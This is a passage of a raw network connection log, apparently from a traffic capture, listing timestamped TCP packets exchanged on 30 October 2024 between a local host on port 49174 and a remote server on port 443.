Oct 30, 2024 07:53:39.988867998 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.988900900 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.988903999 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.988930941 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.988964081 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.988965988 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.988972902 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.989005089 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.989008904 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.989043951 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.989077091 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.989080906 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.989085913 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.989111900 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.989115953 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.989147902 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.989183903 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.989185095 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.989192963 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.989223003 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.989227057 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.989272118 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.989304066 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.989315987 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.989320040 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.989343882 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.989353895 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.989357948 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.989391088 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.989394903 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.989430904 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.989461899 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.989474058 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.989479065 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.989506006 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.989506006 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.989514112 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.989551067 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.989554882 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.989578009 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.989607096 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.989614010 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.989618063 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.989649057 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.989651918 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.989684105 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.989722013 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.989726067 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.989763975 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.989795923 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.989799023 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.989803076 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.989839077 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.989842892 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.989878893 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.989905119 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.989917994 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.989923000 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.989952087 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.989954948 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.989959955 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.989988089 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.989991903 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.990031004 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.990058899 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.990067959 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.990072012 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.990104914 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.990108967 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.990139008 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.990174055 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.990180016 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.990185022 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.990221977 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.990223885 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.990231037 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.990268946 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.990272999 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.990303040 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.990334988 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.990339994 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.990344048 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.990377903 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.990381956 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.990411997 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.990443945 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.990447998 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.990452051 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.990483046 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.990487099 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.990516901 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.990546942 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.990549088 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.990555048 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.990592003 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.990597010 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.990632057 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.990663052 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.990668058 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.990672112 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.990705013 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.990709066 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.990740061 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.990767956 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.990768909 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.990782976 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.990818977 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.990832090 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.990885973 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.990914106 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.990921021 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.990925074 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.990953922 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.990962982 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.990993023 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.991025925 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.991029024 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.991033077 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.991065979 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.991070986 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.991121054 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.991153002 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.991158962 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.991163015 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.991194963 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.991199017 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.991230011 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.991261005 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.991261959 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.991266966 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.991297007 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.991301060 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.991348028 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.991378069 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.991390944 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.991394997 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.991426945 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.991427898 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.991436958 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.991463900 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.991468906 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.991512060 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.991542101 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.991544962 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.991549969 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.991578102 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.991583109 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.991635084 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.991672039 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.991678953 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.993462086 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.993506908 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.993513107 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.993788958 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.993833065 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.993838072 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.995340109 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.995390892 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.995400906 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.997308016 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.997361898 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.997366905 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.998615026 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.998648882 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.998672962 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.998678923 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.998713970 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.999594927 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:40.000339985 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:40.000390053 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:40.000399113 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:40.001241922 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:40.001292944 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:40.001298904 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:40.002942085 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:40.002995014 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:40.003000021 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:40.003808022 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:40.003851891 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:40.003858089 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:40.005646944 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:40.005705118 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:40.005714893 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:40.006575108 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:40.006627083 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:40.006633043 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:40.008104086 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:40.008162022 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:40.008167982 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:40.008972883 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:40.009023905 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:40.009028912 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:40.009453058 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:40.009510994 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:40.009516001 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:40.011051893 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:40.011105061 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:40.011111975 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:40.012604952 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:40.012661934 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:40.012667894 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:40.013659954 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:40.013720036 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:40.013741970 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:40.015062094 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:40.015120029 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:40.015136003 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:40.016712904 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:40.016777992 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:40.016788960 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:40.017455101 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:40.017508030 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:40.017514944 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:40.017627001 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:40.017673016 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:40.017684937 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:40.018640995 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:40.018698931 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:40.018707991 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:40.020077944 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:40.020127058 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:40.020133972 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:40.021164894 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:40.021215916 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:40.021223068 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:40.023652077 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:40.023708105 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:40.023714066 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:40.023811102 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:40.023857117 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:40.023863077 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:40.024651051 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:40.024699926 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:40.024705887 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:40.026146889 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:40.026201963 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:40.026209116 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:40.026300907 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:40.026350021 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:40.026356936 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:40.028503895 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:40.028556108 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:40.028563023 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:40.029517889 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:40.029570103 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:40.029577017 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:40.029886007 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:40.029931068 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:40.029937029 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:40.030607939 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:40.030658007 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:40.030664921 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:40.031956911 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:40.032006979 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:40.032013893 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:40.032291889 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:40.032335997 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:40.032341957 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:40.033145905 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:40.033194065 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:40.033202887 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:40.034243107 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:40.034291983 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:40.034298897 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:40.036428928 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:40.036489010 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:40.036494970 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:40.070647955 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:40.070708036 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:40.070714951 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:40.070857048 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:40.070914030 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:40.070919991 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:40.071022034 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:40.071067095 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:40.071073055 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:40.071235895 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:40.071281910 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:40.071288109 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:40.071454048 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:40.071507931 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:40.071513891 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:40.071630001 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:40.071674109 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:40.071680069 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:40.071790934 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:40.071835995 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:40.071844101 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:40.071953058 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:40.071995974 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:40.072010994 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:40.072133064 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:40.072179079 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:40.072185040 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:40.072297096 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:40.072340965 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:40.072355986 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:40.072474003 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:40.072516918 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:40.072524071 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:40.072628021 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:40.072674990 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:40.072680950 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:40.072787046 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:40.072832108 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:40.072838068 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:40.072947025 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:40.072997093 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:40.073003054 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:40.073117971 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:40.073168039 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:40.073174000 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:40.073278904 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:40.073324919 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:40.073340893 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:40.073440075 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:40.073501110 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:40.073506117 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:40.073610067 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:40.073657036 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:40.073662996 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:40.073707104 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:40.073748112 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:40.073750019 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:40.073765039 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:40.073802948 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:40.073811054 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:40.073889017 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:40.073925972 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:40.073930025 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:40.073940039 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:40.073980093 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:40.073986053 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:40.074045897 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:40.074086905 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:40.074094057 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:40.074100018 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:40.074139118 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:40.074145079 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:40.074197054 CET	443	49174	142.250.185.97	192.168.2.22
